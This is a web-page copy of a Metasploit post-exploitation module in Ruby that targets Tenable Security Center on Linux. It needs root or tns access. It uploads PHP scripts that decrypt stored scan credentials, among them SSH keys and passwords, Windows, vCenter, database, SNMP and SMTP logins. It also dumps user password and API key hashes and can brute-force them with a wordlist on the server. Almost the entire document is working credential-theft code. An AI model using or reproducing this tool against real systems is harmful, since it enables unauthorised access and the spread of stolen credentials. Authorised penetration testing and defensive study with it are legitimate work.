Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/gather/tenable_security_center.rb
70334 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
include Msf::Post::Linux::System
9
include Msf::Post::Linux::Priv
10
include Msf::Post::File
11
include Msf::Auxiliary::Report
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Tenable Security Center',
18
'Description' => %q{
19
This module collects credentials and setup information
20
from Tenable Security Center. root or TNS user permissions
21
are required. We don't utilize SC's builtin backup
22
functionality as that requires SC to be shut down.
23
The module works in 2 phases:
24
25
Phase 1: gather all passwords which can be decrypted. These
26
are non-user ones such as credentials used for scans, creds
27
for the Nessus servers, SMTP, etc.
28
29
Phase 2: handle hashed passwords processing. SC uses SHA-512
30
and PBKDF2 according to the documentation, but the implementation
31
(salt+hash vs hash+salt) is unknown due to the source code being
32
protected by SourceGuardian. To get around this, we use a php
33
script on server to brute force the passwords. Note this will
34
use SC's resources. The crack attempt rate is ~6/sec on a test
35
instance, so you'll want a small password list.
36
37
Tested against SC 6.7.2 on RHEL9
38
},
39
'License' => MSF_LICENSE,
40
'Author' => [
41
'h00die',
42
],
43
'Platform' => ['linux'],
44
'SessionTypes' => ['shell', 'meterpreter'],
45
'References' => [
46
[ 'URL', 'https://docs.tenable.com/security-center/Content/EncryptionStrength.htm']
47
],
48
'Notes' => {
49
'Stability' => [CRASH_SAFE],
50
'SideEffects' => [],
51
'Reliability' => []
52
}
53
)
54
)
55
register_options [
56
OptPath.new('WORDLIST', [false, 'The path to an optional wordlist'])
57
]
58
register_advanced_options [
59
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
60
]
61
end
62
63
def run
64
unless is_root? || whoami == 'tns'
65
fail_with(Failure::NoAccess, "Root permission or tns user required. Root permissions: #{is_root?}, username: #{whoami}")
66
end
67
fail_with(Failure::NotFound, 'Security Center not found (/opt/sc/src/defines.php)') unless file?('/opt/sc/src/defines.php')
68
69
defines = read_file('/opt/sc/src/defines.php')
70
version = defines.match(/define\("SC_VERSION",\s*"([^"]+)"\)/)[1]
71
print_good("Security Center Version: #{version}")
72
73
@sc_service_data = {
74
host: ::Rex::Socket.getaddress(session.sock.peerhost, true),
75
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
76
port: '443',
77
service_name: 'tenable security center',
78
name: 'tenable security center',
79
protocol: 'tcp',
80
info: version.to_s,
81
workspace_id: myworkspace_id
82
}
83
report_service(@sc_service_data)
84
85
if is_root?
86
@command_prefix = "su - tns -s /bin/bash -c '/opt/sc/support/bin/php "
87
@command_postfix = "'"
88
else
89
@command_prefix = ''
90
@command_postfix = ''
91
end
92
93
gather_decrypted_creds
94
gather_hashed_creds
95
end
96
97
def gather_decrypted_creds
98
script_path = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alphanumeric(8..10)}"
99
vprint_status("Uploading database cred decryptor to #{script_path}")
100
fail_with(Failure::BadConfig, "Unable to write to #{script_path}") unless upload_file(script_path, ::File.join(Msf::Config.data_directory, 'post', 'tenable', 'security_center', 'pull_encrypted_database_fields.php'))
101
vprint_status("Running cred dumper: #{@command_prefix}#{script_path} -json#{@command_postfix}")
102
output = cmd_exec("#{@command_prefix}#{script_path} -json#{@command_postfix}")
103
rm_f(script_path)
104
105
begin
106
output = JSON.parse(output)
107
rescue JSON::ParserError => e
108
print_error("Error parsing JSON output: #{e}")
109
end
110
111
loot_path = store_loot('tenable.security_center.creds', 'application/json', session, output, 'creds.json', 'Security Center Decrypted Credentials JSON')
112
print_good("Decrypted Security Center credentials stored to: #{loot_path}")
113
114
tbl = Rex::Text::Table.new(
115
'Header' => 'Decrypted Credentials',
116
'Indent' => 1,
117
'Columns' => ['Source', 'Table', 'Username', 'Decrypted Password', 'Other Fields']
118
)
119
120
decrypted_flag = ' [DECRYPTED]'
121
::Rex::Socket.getaddress(session.sock.peerhost, true)
122
123
output.each { |cred| process_decrypted_cred(cred, tbl, decrypted_flag) }
124
print_good(tbl.to_s)
125
end
126
127
def process_decrypted_cred(cred, tbl, decrypted_flag)
128
case cred['_table']
129
when 'AppSSHCredential'
130
service_data = {
131
address: '0.0.0.0',
132
port: '22',
133
service_name: 'ssh',
134
protocol: 'tcp',
135
workspace_id: myworkspace_id
136
}
137
138
if cred['authType'] == 'password'
139
credential_data = {
140
origin_type: :service,
141
module_fullname: fullname,
142
username: cred['username'],
143
private_data: cred['password'].gsub(decrypted_flag, ''),
144
private_type: :password
145
}
146
else
147
credential_data = {
148
origin_type: :service,
149
module_fullname: fullname,
150
username: cred['username'],
151
private_data: cred['privateKey'].gsub("\r\n", "\n"),
152
private_type: :ssh_key
153
}
154
end
155
156
credential_data.merge!(service_data)
157
credential_core = create_credential(credential_data)
158
159
login_data = {
160
core: credential_core,
161
status: Metasploit::Model::Login::Status::UNTRIED
162
}
163
164
login_data.merge!(service_data)
165
create_credential_login(login_data)
166
info = cred.fetch('passphrase', '').gsub(decrypted_flag, '')
167
info = "SSH Key Passphrase: #{info.gsub(decrypted_flag, '')}" if info != ''
168
169
tbl << [cred['_source'], cred['_table'], cred['username'], credential_data[:private_data].gsub("\n", ''), info]
170
171
# check if they have privilege creds
172
if cred.key?('escalationPassword') && cred['escalationPassword'].gsub(decrypted_flag, '') != ''
173
credential_data = {
174
origin_type: :service,
175
module_fullname: fullname,
176
username: cred.fetch('escalationUsername', cred.fetch('escalationSuUser', cred.fetch('escalationAccount', ''))).gsub(decrypted_flag, ''),
177
private_data: cred['escalationPassword'].gsub(decrypted_flag, ''),
178
private_type: :password
179
}
180
181
credential_data.merge!(service_data)
182
credential_core = create_credential(credential_data)
183
184
login_data = {
185
core: credential_core,
186
status: Metasploit::Model::Login::Status::UNTRIED
187
}
188
189
login_data.merge!(service_data)
190
tbl << [cred['_source'], cred['_table'], credential_data[:username], credential_data[:private_data], "Escalation method: #{cred['privilegeEscalation']}"]
191
end
192
when 'AppWindowsCredential'
193
service_data = {
194
address: '0.0.0.0',
195
port: '445',
196
service_name: 'smb',
197
protocol: 'tcp',
198
workspace_id: myworkspace_id
199
}
200
201
credential_data = {
202
origin_type: :service,
203
module_fullname: fullname,
204
username: cred['username'],
205
private_data: cred['password'].gsub(decrypted_flag, ''),
206
private_type: :password
207
}
208
unless cred['domain'] == ''
209
credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
210
credential_data[:realm_value] = cred['domain']
211
end
212
213
credential_data.merge!(service_data)
214
credential_core = create_credential(credential_data)
215
216
login_data = {
217
core: credential_core,
218
status: Metasploit::Model::Login::Status::UNTRIED
219
}
220
221
login_data.merge!(service_data)
222
create_credential_login(login_data)
223
224
tbl << [cred['_source'], cred['_table'], cred['username'], cred['password'].gsub(decrypted_flag, ''), '']
225
when 'AppVMwarevCenterCredential'
226
service_data = {
227
address: cred['vcenter_host'],
228
port: cred['vcenter_port'],
229
service_name: 'vcenter',
230
protocol: 'tcp',
231
workspace_id: myworkspace_id
232
}
233
234
credential_data = {
235
origin_type: :service,
236
module_fullname: fullname,
237
username: cred['vcenter_username'],
238
private_data: cred['vcenter_password'].gsub(decrypted_flag, ''),
239
private_type: :password
240
}
241
242
credential_data.merge!(service_data)
243
credential_core = create_credential(credential_data)
244
245
login_data = {
246
core: credential_core,
247
status: Metasploit::Model::Login::Status::UNTRIED
248
}
249
250
login_data.merge!(service_data)
251
create_credential_login(login_data)
252
253
tbl << [cred['_source'], cred['_table'], cred['vcenter_username'], cred['vcenter_password'].gsub(decrypted_flag, ''), '']
254
when 'AppMongoDBCredential'
255
service_data = {
256
address: '0.0.0.0',
257
port: cred['mongodb_port'],
258
service_name: 'mongodb',
259
protocol: 'tcp',
260
workspace_id: myworkspace_id
261
}
262
263
credential_data = {
264
origin_type: :service,
265
module_fullname: fullname,
266
username: cred['mongodb_username'],
267
private_data: cred['mongodb_password'].gsub(decrypted_flag, ''),
268
private_type: :password
269
}
270
271
credential_data.merge!(service_data)
272
credential_core = create_credential(credential_data)
273
274
login_data = {
275
core: credential_core,
276
status: Metasploit::Model::Login::Status::UNTRIED
277
}
278
279
login_data.merge!(service_data)
280
create_credential_login(login_data)
281
282
tbl << [cred['_source'], cred['_table'], cred['mongodb_username'], cred['mongodb_password'].gsub(decrypted_flag, ''), cred['mongodb_database']]
283
when 'AppDatabaseCredential'
284
service_data = {
285
address: '0.0.0.0',
286
port: cred['port'],
287
service_name: cred['dbType'],
288
protocol: 'tcp',
289
workspace_id: myworkspace_id
290
}
291
292
credential_data = {
293
origin_type: :service,
294
module_fullname: fullname,
295
username: cred['username'],
296
private_data: cred['password'].gsub(decrypted_flag, ''),
297
private_type: :password
298
}
299
300
credential_data.merge!(service_data)
301
credential_core = create_credential(credential_data)
302
303
login_data = {
304
core: credential_core,
305
status: Metasploit::Model::Login::Status::UNTRIED
306
}
307
308
login_data.merge!(service_data)
309
create_credential_login(login_data)
310
311
tbl << [cred['_source'], cred['_table'], cred['username'], cred['password'].gsub(decrypted_flag, ''), cred['dbType']]
312
when 'Scanner'
313
service_data = {
314
address: cred['ip'],
315
port: cred['port'],
316
service_name: cred['nessusType'],
317
protocol: 'tcp',
318
workspace_id: myworkspace_id
319
}
320
321
credential_data = {
322
origin_type: :service,
323
module_fullname: fullname,
324
username: cred['username'],
325
private_data: cred['password'].gsub(decrypted_flag, ''),
326
private_type: :password
327
}
328
329
credential_data.merge!(service_data)
330
credential_core = create_credential(credential_data)
331
332
login_data = {
333
core: credential_core,
334
status: Metasploit::Model::Login::Status::UNTRIED
335
}
336
337
login_data.merge!(service_data)
338
create_credential_login(login_data)
339
340
tbl << [cred['_source'], cred['_table'], cred['username'], cred['password'].gsub(decrypted_flag, ''), "Scanner Type: #{cred['nessusType']}"]
341
when 'SNMPCredential'
342
service_data = {
343
address: '0.0.0.0',
344
port: '161',
345
service_name: 'snmp',
346
protocol: 'udp',
347
workspace_id: myworkspace_id
348
}
349
350
credential_data = {
351
origin_type: :service,
352
module_fullname: fullname,
353
username: '',
354
private_data: cred['communityString'].gsub(decrypted_flag, ''),
355
private_type: :password
356
}
357
358
credential_data.merge!(service_data)
359
credential_core = create_credential(credential_data)
360
361
login_data = {
362
core: credential_core,
363
status: Metasploit::Model::Login::Status::UNTRIED
364
}
365
366
login_data.merge!(service_data)
367
create_credential_login(login_data)
368
369
tbl << [cred['_source'], cred['_table'], '', cred['communityString'].gsub(decrypted_flag, ''), '']
370
when 'Configuration' # SMTP
371
addr = if ::Rex::Socket.is_ip_addr?(cred['SMTPHost'])
372
cred['SMTPHost']
373
else
374
begin
375
::Rex::Socket.getaddress(cred['SMTPHost'], true)
376
rescue StandardError
377
'0.0.0.0'
378
end
379
end
380
381
service_data = {
382
address: addr,
383
port: cred['SMTPPort'],
384
service_name: 'smtp',
385
protocol: 'tcp',
386
workspace_id: myworkspace_id
387
}
388
389
credential_data = {
390
origin_type: :service,
391
module_fullname: fullname,
392
username: cred['SMTPUsername'],
393
private_data: cred['SMTPPassword'].gsub(decrypted_flag, ''),
394
private_type: :password
395
}
396
397
credential_data.merge!(service_data)
398
credential_core = create_credential(credential_data)
399
400
login_data = {
401
core: credential_core,
402
status: Metasploit::Model::Login::Status::UNTRIED
403
}
404
405
login_data.merge!(service_data)
406
create_credential_login(login_data)
407
408
tbl << [cred['_source'], cred['_table'], cred['SMTPUsername'], cred['SMTPPassword'].gsub(decrypted_flag, ''), '']
409
else
410
username = cred.fetch('username', '')
411
password = cred.fetch('password', '').gsub(decrypted_flag, '')
412
tbl << [cred['_source'], cred['_table'], username, password, '']
413
print_warning('Please reivew loot for additional details')
414
end
415
end
416
417
def gather_hashed_creds
418
script_path = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alphanumeric(8..10)}"
419
vprint_status("Uploading database cred dumper to #{script_path}")
420
fail_with(Failure::BadConfig, "Unable to write to #{script_path}") unless upload_file(script_path, ::File.join(Msf::Config.data_directory, 'post', 'tenable', 'security_center', 'dump_crack_hashes.php'))
421
vprint_status("Running cred dumper: #{@command_prefix}#{script_path} -json#{@command_postfix}")
422
output = JSON.parse(cmd_exec("#{@command_prefix}#{script_path} -json#{@command_postfix}"))
423
424
loot_path = store_loot('tenable.security_center.creds.hashed', 'application/json', session, output, 'hashed_creds.json', 'Security Center Credentials JSON')
425
print_good("Decrypted Security Center credentials stored to: #{loot_path}")
426
427
cred_tbl = Rex::Text::Table.new(
428
'Header' => 'Accounts Hashes',
429
'Indent' => 1,
430
'Columns' => ['UserID', 'Org', 'Username', 'Salt:Hash']
431
)
432
api_keys_tbl = Rex::Text::Table.new(
433
'Header' => 'API Keys',
434
'Indent' => 1,
435
'Columns' => ['ID', 'User ID', 'Name', 'Access Key', 'Salt:Hash']
436
)
437
438
output.each do |cred|
439
case cred['_table']
440
when 'APIKey'
441
api_keys_tbl << [cred['id'], cred['userAuthID'], cred['name'], cred['accessKey'], "#{cred['salt']}:#{cred['key']}"]
442
when 'UserAuth'
443
cred_tbl << [cred['id'], cred['orgID'], cred['username'], "#{cred['salt']}:#{cred['password']}"]
444
end
445
end
446
447
print_good(api_keys_tbl.to_s) unless api_keys_tbl.rows.empty?
448
print_good(cred_tbl.to_s) unless cred_tbl.rows.empty?
449
450
unless datastore['WORDLIST']
451
rm_f(script_path)
452
return
453
end
454
455
crack_hashes(output, script_path)
456
end
457
458
def crack_hashes(hashed_output, script_path)
459
wordlist_lines = File.read(datastore['WORDLIST']).lines.count
460
estimate_minutes = ((hashed_output.length * wordlist_lines) / 6.0 / 60).round(1)
461
print_warning("Estimated brute force time: #{estimate_minutes} minutes (#{hashed_output.length} users x #{wordlist_lines} words @ 6/sec)")
462
print_warning('Waiting 5 seconds for user interuption if this is too long a time.')
463
sleep(5)
464
465
wordlist_path = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alphanumeric(8..10)}"
466
vprint_status("Uploading wordlist to: #{wordlist_path}")
467
fail_with(Failure::BadConfig, "Unable to write to #{wordlist_path}") unless upload_file(wordlist_path, datastore['WORDLIST'])
468
469
output = JSON.parse(cmd_exec("#{@command_prefix}#{script_path} -json -crack #{wordlist_path}#{@command_postfix}").lines[1..].join)
470
rm_f(script_path)
471
rm_f(wordlist_path)
472
473
cracked_tbl = Rex::Text::Table.new(
474
'Header' => 'Cracked Credentials',
475
'Indent' => 1,
476
'Columns' => ['ID', 'User', 'Password', 'Admin']
477
)
478
output.each do |cred|
479
cracked_tbl << [cred['id'], cred['username'], cred['password'], cred['isAdmin']]
480
credential_data = {
481
origin_type: :service,
482
module_fullname: fullname,
483
username: cred['username'],
484
private_data: cred['password'],
485
private_type: :password
486
}
487
488
credential_data.merge!(@sc_service_data)
489
create_credential(credential_data)
490
end
491
492
print_good(cracked_tbl.to_s) unless cracked_tbl.rows.empty?
493
end
494
end
495
496